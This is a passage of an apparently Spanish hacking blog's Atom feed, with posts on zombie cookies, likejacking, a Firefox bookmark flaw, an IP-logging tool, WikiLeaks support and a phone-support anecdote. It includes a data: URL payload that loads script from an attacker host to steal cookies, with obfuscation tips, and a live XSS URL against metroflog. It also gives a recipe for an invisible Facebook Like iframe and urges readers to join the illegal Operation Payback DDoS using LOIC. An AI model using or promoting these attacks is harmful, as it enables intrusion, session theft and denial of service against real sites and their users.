denominamos a aquellas cookies que son capaces de reaparecer ("volver a la vida") pese a que las borremos una y otra vez. Esto puede ser especialmente interesante para las empresas de Data Mining, puesto que pueden, a través de publicidad por ejemplo, introducirnos una cookie de seguimiento al navegar por una web perfectamente legal. Esto permitiría trazar nuestra hoja de ruta, sabiendo qué tipo de webs nos interesan, y qué productos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Existen diferentes técnicas para poder generar este tipo de cookies casi indestructibles, basadas en su mayoría en guardar la cookie en distintos centros de almacenamiento que puede usarse en un navegador, como las flash cookies o las imagenes temporales.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   El culmen de las zombie cookies es la API  de JavaScript "Evercookie", que utiliza gran cantidad de sistemas para almacenar la cookie y reponerla cuando ésta sea borrada. Para más información sobre el tema podeis visitar su web:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://samy.pl/evercookie/"&gt;EverCookie&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  La idea de utilizar archivos temporales para renovar las cookies me parece bastante interesante, así que es bastante probable que acabe haciendo algún script a modo de PoC después de exámenes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8130894585275178097?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8130894585275178097/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8130894585275178097' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8130894585275178097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8130894585275178097'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/05/zombie-cookies-cookies-que-vuelven-la.html' title='Zombie Cookies: cookies que vuelven a la vida'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4580349178959345061</id><published>2011-05-25T07:17:00.005+02:00</published><updated>2011-05-25T07:47:04.550+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Redes Sociales'/><title type='text'>Clickjacking + Facebook = Likejacking</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   En estos días tenía pensado escribir un poco sobre los peligros de las cookies que no expiran, así que para empezar el tema nada mejor que hacerlo con esta técnica bautizada como "Likejacking" (en referencia al botón "Like" de Facebook). El Likejacking ha sido carne de noticiario, saliendo en televisión y periódicos recientemente, por lo que me parece algo adecuado para entrar en materia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    El concepto es una combinación de un ataque de clickjacking (creo que ya publiqué algo por el blog en su momento) con los Social Plugins de FB. Se trata de que al clickar un video, o cualquier parte de una web, en realidad estemos clickando un botón de "Like" en forma de iframe invisible, por lo que aparecerá en nuestro muro como que "Nos gusta" esa web. Esto puede dar pie a que algún amigo nuestro también clicke sobre la web que supuestamente nos gusta, y también caiga en la trampa, extendiendose la plaga.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Normalmente se suelen identificar estos enlaces fraudulentos por que tienen nombres o descripciones bastante morbosos y que despiertan esa curiosidad innata en el hombre, de ahí el éxito de su extensión entre los amigos de una persona cuyo FB ha sido "infectado". En lo personal me recuerda a aquellos virus que se extendían vía MSN y que para clickar en el enlace ponían mensajes del tipo "Mira mis últimas fotos en la playa desnuda" y cosas al estilo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Además del spam y la publicidad gratis que se puede conseguir con esta técnica, los creadores de malware lo están empleando para su distribución, con trucos tan viejos (y todavía efectivos) como hacer que el incauto visitante se descargue un plug-in (hete aquí el malware) para poder visualizar contenido. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    El problema es tan generalizado debido a que un elevado número de usuarios de redes sociales por comodidad mantienen las sesiones abiertas a través de cookies que no expiran en vez de cerra sesión y loguearse otra vez cada vez que quieran hacer uso de FB. Amén de las personas que tienen el FB abierto durante todo el día. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   El código para poner un "Like" en tu web es bastante simple, con un iframe similar a:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;iframe src="http://www.facebook.com/plugins/like.php?href=Tu-web;layout=button_count&amp;amp;show_faces=true&amp;amp;width=100&amp;amp;action=like&amp;amp;font=arial&amp;amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:100px; height:px"&gt;&amp;lt;/iframe&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Todos los parámetros se pueden modificar (en la propia web de Facebook explican cada uno en detalle). Con este iframe base se puede trabajar para dejarlo invisible (opacity: 0) y además colocarlo en algún punto clave donde el usuario vaya a clickar obligatoriamente. Por supuesto se puede ir más lejos, ofuscando el código por ejemplo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4580349178959345061?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4580349178959345061/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4580349178959345061' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4580349178959345061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4580349178959345061'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/05/clickjacking-facebook-likejacking.html' title='Clickjacking + Facebook = Likejacking'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4683860262499799394</id><published>2011-05-24T06:46:00.008+02:00</published><updated>2011-05-24T07:37:08.538+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><title type='text'>Bookmarks: Firefox Cross-Domain Vulnerability</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt; Haciendo un descanso en mi estudio me he puesto a dar vueltas por la red leyendo de aquí para allá sobre vulnerabilidades y me he topado con algo interesante. Se trata de un bug en Firefox, reportado hace mucho tiempo, que permite el uso de JavaScript (con todo lo que ello implica) al abrir un enlace favorito "corrupto".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  El concepto consiste en correr código HTML y JS a través de "Data:...". Para informaros como funciona 'Data:' echad un ojo al &lt;a href="http://www.faqs.org/rfcs/rfc2397.html"&gt;RFC 2397&lt;/a&gt;  "&lt;span style="font-style:italic;"&gt;The "data" URL scheme&lt;/span&gt;". De esta forma, se hace que la víctima abra de alguna forma un fake hecho con "Data:" (en el cual esté nuestro código JS malicioso) y se hace que la guarde en favoritos. El código JS malicioso &lt;span style="font-weight:bold;"&gt;sólo se ejecutará cuando la víctima abra el enlace corrupto que tiene en favoritos, y lo hará sobre la web que esté visitando en ese momento.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  En otras palabras, lo que te permite esta vulnerabilidad es correr un JS malicioso sobre una web que estás visitando cuando la victima vaya a sus favoritos y abra nuestro enlace malicioso (de ahí lo de Cross-Domain). De esta forma podemos, por ejemplo, conseguir una cookie de un sitio web (P.E. Google) pese a que este no sea vulnerable a XSS. A priori parece poco efectivo, pero aplicando un poco de ingeniería social es perfectamente viable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Un ejemplo propuesto por el descubridor de la vulnerabilidad (Michal Zalewski) sería al estilo de:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html&amp;lt;script src="http://nuestrohost.com/codigo-malicioso.js"&gt;&amp;lt;/script&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; En nuestro código JS malicioso a parte del payload se podría hacer que crease una web falsa para engañar a la víctima. Si bien parece poco probable que alguien guarde en favoritos una enlace en cuya URL viene código JS, pese a que se observe una web fake que pueda interesar a la víctima, siempre se puede ofuscar. Algunas formas simples sería pasando el contenido de "Data:" a Base64 (ver el RFC), o bien usando el truco que aparece en el reto 3 de Seth: añadir tropecientos &lt;code&gt;&amp;nbs p;&lt;/code&gt; que acaben ocultando el final de la URL. De esta última forma sólo se vería el "data:text/html;http://Escribir-una-web-que-parezca-real.com/index.html" y no el resto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PDD: para más info &lt;a href="http://lcamtuf.coredump.cx/ffbook/"&gt;Firefox Bookmarks Cross-Domain Travel Vulnerability&lt;/a&gt;&lt;br /&gt;PDD: perdón si lo que he escrito es algo denso o infumable, pero apenas he dormido.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4683860262499799394?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4683860262499799394/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4683860262499799394' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4683860262499799394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4683860262499799394'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/05/bookmarks-firefox-cross-domain.html' title='Bookmarks: Firefox Cross-Domain Vulnerability'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4429805022484091193</id><published>2011-05-23T09:17:00.002+02:00</published><updated>2011-05-23T09:40:43.433+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='Enumeración'/><title type='text'>IpCatcher</title><content type='html'>Saludos,&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;      Leyendo un post, de no recuerdo quién ni donde, usaban un script en PHP para conseguir la IP de un objetivo, cosa normal y corriente. Lo único que me pareció interesante, a título anecdótico, es que para ver la IP no hacía falta ir abrir el navegador e ir a nuestro servidor donde estaría la IP guardada, sino que la consultaba desde un script en Python. Así que visto esto, codee algo sencillo (más que nada para practicar PHP y Perl, que ando algo oxidado) pero implementando algo más (por supuesto que aun se pueden añadir mil y una cosas más, incluso mejorar/simplificar el code).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      El funcionamiento es simple. Por una parte tenemos un PHP &lt;a href="http://pastebin.com/iuiGq4Hw"&gt;(codigo)&lt;/a&gt; que al recibir una petición GET indicando usuario y password, y el nombre de nuestro objetivo, nos escupirá otro archivo PHP (el  cual se encuentra encriptado en base64 y que puedes ver limpio &lt;a href="http://pastebin.com/DAj501GB"&gt;aquí&lt;/a&gt;. Este otro PHP será el que debamos de enviar a nuestro objetivo (a través de un MP puesto como un tag de imagen, por ejemplo),  y su cometido es crear un .txt con la IP (y otros datos quizás relevantes).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     Tanto para obtener la URL a enviar, como para leer el fichero .txt, usaremos este script en perl (&lt;a href="http://pastebin.com/dGbTjPPm"&gt;Aquí&lt;/a&gt;). No tiene nada especialmente reseñable, se usa WWW::Mechanize para hacer las peticiones y MIME::Base64 para desencriptar el contenido del .txt.&lt;br /&gt;&lt;br /&gt;      La idea original era que, cuando fuera visitado por nuestro objetivo el enlace al tratar de visualizar la imagen (como si de un CSRF se tratase), éste se borrara y tan sólo quedase el .txt para ser leido. Siendo sinceros, me daba bastante pereza esta mañana ponerme a retocarlo, y estos días mi tiempo es oro (tengo los examenes finales esta semana y la siguiente), así que os dejo hacer eso como tarea ;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PD: el código PHP en realidad está hecho por Seth. En primera instancia hice yo uno, pero me dió un error sin sentido -el cual al parecer tenía que ver cuando usaba base64_decode() y Seth me lo envió reparado. Como ya he dicho ando mal de tiempo asi que lo dejé tal y como estaba.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4429805022484091193?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4429805022484091193/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4429805022484091193' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4429805022484091193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4429805022484091193'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/05/ipcatcher.html' title='IpCatcher'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8738468823441628533</id><published>2011-05-22T08:04:00.002+02:00</published><updated>2011-05-22T08:24:36.253+02:00</updated><title type='text'>Próximamente</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Volvemos. No sé cuanto durará esta vuelta a primera línea de combate, pero vamos a ver en qué acaba la cosa. Quisiera hacer algunos cambios en el blog, y si algún loco sigue leyendo esto, sería bueno conocer su opinión (me refiero a cambios en el theme, añadir algún plug-in y esas cosas).&lt;br /&gt;&lt;br /&gt;  Por lo pronto estrenamos correo y twitter. El nuevo correo a través del cual podeis enviarno lo que os de la gana será &lt;span style="font-weight:bold;"&gt;overloadblog (at) hotmail.es&lt;/span&gt;  . Cualquier sugerencia, aporte o crítica constructiva será bien recibida. Respecto al twitter aquí está:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://twitter.com/#!/TheXC3LL"&gt;@TheXC3LL&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8738468823441628533?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8738468823441628533/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8738468823441628533' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8738468823441628533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8738468823441628533'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/05/proximamente.html' title='Próximamente'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4002360275965470973</id><published>2010-12-09T16:04:00.004+01:00</published><updated>2010-12-10T03:33:04.952+01:00</updated><title type='text'>Apoyo a WikiLeaks</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Vuelvo a recurrir a este blog de forma extraordinaria para pediros vuestra colaboración. A día de hoy es raro que nadie sepa quien es Julian Assange, ni qué es WikiLeaks, así que no voy a entrar en detalles. Sólo voy a decir que esta es una de esas revoluciones que todos los (h)acktivistas siempre ha soñado. Cuando nuestros hijos vean en algún documental, la televisión, lean algún libro en el que aparezca este tema nosotros podremos decirle orgullosos: yo participé.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Es muy bonito decir desde la comodidad de nuestro sillón lo bueno que es WikiLeaks y lo malo malísimo que son los gobiernos. Hay que actuar. No sólo hablar, hay que llegar a los hechos. Cada cual puede aportar de muchas formas. Podemos apoyar económicamente con donaciones a través Pirate Bay.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Después, por favor, pillad backups de WikiLeaks como locos y distribuirlas a todo el mundo. Nuestro compañero WaesWaes de CPH subió una copia de los "Cablegates", espero que no le importe que ponga por aquí su link:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sites.google.com/site/javayos/cablegates.7z"&gt;Cablegates&lt;/a&gt;  1964 kb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Otro archivo supuestamente interesante es este:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://thepiratebay.org/torrent/5741985/INSURANCE.AES256_WIKILEAKS.SECRET.DOCUMENT.2010.08.06" target="_blank"&gt;http://thepiratebay.org/torrent/5741985/INSURANCE.AES256_WIKILEAKS.SECRET.DOCUMENT.2010.08.06&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Según se comenta contiene información valiosa, que en caso de que le pasara algo malo a Julian Assange, se liberaría la clave con la que está encriptada y se distribuiría la info que contiene.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y ahora vienen las operaciones. Por un lado primero se lanzó la operación "Mass Mirroring", en base a los ataques y la  censura que recibía WikiLeaks. Básicamente se trata de hacer mirrors de WikiLeaks a mansalva (1300 iban esta mañana). Por favor, en este paso la mayoría podemos aportar un granito de arena. Aquí dejo el link oficial de la operación:&lt;br /&gt;&lt;br /&gt;http://wikileaks.ch/mass-mirror.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La otra operación, y esta es la "no-legal" y cada cual puede unirse o no, es la de la operación "Payback", que en resumidas cuentas viene siendo hacer un ataque DDoS a los sitios que han sido utilizados para hacer presión contra WikiLeaks. Anoche se consiguió tirar Mastercard, Visa y cuando me fuí a la cama no sé si llegó a caer Paypal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para apoyar esta operación tan sólo debes de usar la sencila herramienta &lt;a href="https://github.com/NewEraCracker/LOIC/"&gt;LOIC&lt;/a&gt; . Para más info, pasaros por irc.anonops.net #operationpayback&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Adiós a todos, y trabajad duro ;)&lt;br /&gt;&lt;br /&gt;==============================&lt;br /&gt;&lt;br /&gt;Edit 1: Añado las formas de donar&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Transferencia bancaria - Opción 1: a través de Prensa del Sol Producciones EHF:&lt;p&gt; &lt;/p&gt;&lt;p&gt; Skulagötu 19, 101 Reykjavik, Islandia&lt;/p&gt;&lt;p&gt; Landsbanki Islas Número de cuenta 0111-26-611010&lt;/p&gt;&lt;p&gt; BANCO / SWIFT: NBIIISREXXX&lt;/p&gt;&lt;p&gt; CUENTA / IBAN: IS97 0111 2661 1010 6110 1002 80&lt;/p&gt;&lt;p&gt; 3. Transferencia bancaria - Opción 2: a través de la Wau sin fines de lucro Holanda Stiftung:&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; Este apoyo es deducible de impuestos en Alemania&lt;/p&gt;&lt;p&gt; Cuenta bancaria: 2772812-04&lt;/p&gt;&lt;p&gt; IBAN: DE46 5204 0021 0277 2812 04&lt;/p&gt;&lt;p&gt; Código BIC: COBADEFFXXX&lt;/p&gt;&lt;p&gt; Banco: Commerzbank Kassel&lt;/p&gt;&lt;p&gt; Alemán BLZ: 52040021&lt;/p&gt;&lt;p&gt; Asunto: Wikileaks / Projekt WHS 04&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; 4. A través de correo postal&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; Usted puede enviar una donación a través de la moda buenos correo postal a:&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; Wikileaks&lt;/p&gt;&lt;p&gt; (O cualquier nombre que puedan corresponder para evitar la interceptación de su país)&lt;/p&gt;&lt;p&gt; CAJA 4080&lt;/p&gt;&lt;p&gt; Australia Post Office - Universidad de Melbourne Poder&lt;/p&gt;&lt;p&gt; Victoria 3052&lt;/p&gt;&lt;p&gt; Australia &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4002360275965470973?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4002360275965470973/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4002360275965470973' title='8 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4002360275965470973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4002360275965470973'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2010/12/apoyo-wikileaks.html' title='Apoyo a WikiLeaks'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-318365814805699939</id><published>2010-08-26T18:53:00.003+02:00</published><updated>2010-08-26T18:59:01.812+02:00</updated><title type='text'>XSS en metroflog</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Qué decir. Símplemente he abandonado todo esto, actualmente tengo otros intereses y prioridades en mi vida. Hace más de un año que no publico nada, pero sigo manteniendo el blog para aquellos que le sirvan los papers que fui publicando a lo largo del tiempo.&lt;br /&gt;&lt;br /&gt;Como despedida, este XSS que encontré en metroflog por pura casualidad (sí, yo también me engancho a las redes sociales, como cualquier hijo de vecino, y sí, tengo tuenti para qué negarlo.) Aquí lo teneis, si alguien quiere reportarlo y ganarse un sugus adelante:&lt;br /&gt;&lt;br /&gt;http://www.metroflog.com/errors/error_temporal.php?error=&lt;script&gt;alert(69)&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-318365814805699939?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/318365814805699939/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=318365814805699939' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/318365814805699939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/318365814805699939'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2010/08/xss-en-metroflog.html' title='XSS en metroflog'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4394987594006226243</id><published>2009-07-09T19:00:00.003+02:00</published><updated>2009-07-11T20:06:13.317+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Anecdotario'/><title type='text'>En telefónica sobran inútiles.</title><content type='html'>Saludos a todos!&lt;br /&gt;&lt;br /&gt;  Pues sí, esto es bien sabido por todos. ¿Quien no ha llamado nunca a Telefónica para  que le brinden soporte técnico? ¿Y a cuantos os ha ido bien?. Yo todavía no conozco a ninguno...&lt;br /&gt;&lt;br /&gt;  Como podeis deducir, he llamado hoy a telefónica. Aquí, en mi barriada, somos el culo del mundo. No llega ADSL, ni banda ancha, ni siquiera podemos contratar 1MB. Para la infraestructura existente, únicamente podemos trabajar con banda estrecha. Y es que hasta hace bien poco no existía línea telefónica, los teléfonos funcionaban con antenas... &lt;br /&gt;&lt;br /&gt;  Bien, como iba diciendo, mi conexión es a través de acceso telefónico por un modem, ¡Que chupiguay!. En los últimos días no podía conectarme a internet, me salían errores 678, de que el equipo remoto no respondía. A mi y a todo el pueblo en general. Tras media hora dando a "Reintentar conexion", acabas por conectarte, supongo que por aburrimiento. Pues bien, hoy me he tirado una hora y cuarto y nanai de la china... Así que, oh que grave error por mi parte, decidí llamar a Telefónica para me informaran de qué pasaba y cómo solucionarlo.&lt;br /&gt;&lt;br /&gt;Así que llamé al teléfono del demonio, el 1004. Me contesta una máquina -que era muy amable, por cierto- pidiéndome mi número de teléfono fijo y preguntando con mi problema. Le digo mi problema y me manda al teléfono 902 357 000. Así que llamé a ese número:&lt;br /&gt;&lt;br /&gt;-Bienvenido al servicio de soporte técnico para ADSL e Imagenio. Para poder localizarle, introduzca su número.&lt;br /&gt;-950 XXX XXX&lt;br /&gt;(continúa hablando, dando publicidad de 11822 y opciones varias...)&lt;br /&gt;-Hola caballerito, le atiende NombreMuyRápido, ¿En qué podemos ayudarle?&lt;br /&gt;-Sí, buenas... estoy tratando de conectarme a internet y me salta un error...&lt;br /&gt;(me interrumpe rápidamente)&lt;br /&gt;-¿Que tipo de error? 800 y pic, 700 y pico...?&lt;br /&gt;-Error 678...&lt;br /&gt;-Anjá caballerito, ¿Podía darme su número de teléfono y nombre para verificar?&lt;br /&gt;-Faltaría más, 950 XXX XXX, mi nombre es X-C3LL Father (el de mi viejo).&lt;br /&gt;-Ok.. ahorita mismo verifico y continuamos, aguarde un momento.&lt;br /&gt;-Ok...&lt;br /&gt;&lt;br /&gt;En este instante ya me da mala espina... siento algo tenebroso... me ponen música... pero no música cualquiera no... ¡¡REGUETON!!. Me cagüenDiosYenTodosLosSantos...&lt;br /&gt;-Disculpe caballerito, pero ya hemos verificado sus datos. ¿Usted tiene contratada una línea de banda estrecha?&lt;br /&gt;-Sí así es&lt;br /&gt;-Pues discupe usted, caballerito, pero es que aquí sólamente damos soporte a ADSL y a imagino, no podemos ayudarlo.&lt;br /&gt;-Anjá... es que llamé al 1004 y me dieron este número....&lt;br /&gt;-Caballerito, llame al 1002 que es el número de averías allí podrán ayudarlo.&lt;br /&gt;-Hostias... esto va por mal camino...&lt;br /&gt;-¿Decía, caballerito?&lt;br /&gt;-Nada nada... cosas mías, pues muchas gracias llamaré a ver que me dicen por ahí.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Sí es la maldición de cualquier teleoperadora... las redirecciones de teléfono... de esto no puede salir nada bueno... Marquemos 1002... Me salta la maquinita con lo mismo, introduzca el número etc... omitamos esto y vayamos al "Operador".&lt;br /&gt;&lt;br /&gt;-Buenas, le atiende NombreMásRápidoAúnqueElAnterior, ¿Qué podemos hacer por usted?&lt;br /&gt;-Si mire... le llamo porque no puedo conectarme a internet...&lt;br /&gt;-Ah disculpe, ¿Podría darme su número de teléfono?&lt;br /&gt;-Por supuesto, 950 XXX XXX...&lt;br /&gt;-Aguarde unos instantes, que ahorita mismo los verifico.&lt;br /&gt;(Joder con las verificaciones de los huevos....)&lt;br /&gt;-¿Su nombre es X-C3LL Father ?&lt;br /&gt;-El mismo que viste y calza //tomémoslo con humor porque si no...&lt;br /&gt;-¿Decía?&lt;br /&gt;-Digo que sí, que soy yo.&lt;br /&gt;-Veo que tiene contratado el Düo de internet + llamada...  y respectito a internet usted tiene puesto banda estrecha. ¿Cierto?&lt;br /&gt;-Sí...&lt;br /&gt;-¿Y no ha pensado cambiarse al ADSL?&lt;br /&gt;-Me ha leido el pensamiento.&lt;br /&gt;-¿Y porqué no lo hace?&lt;br 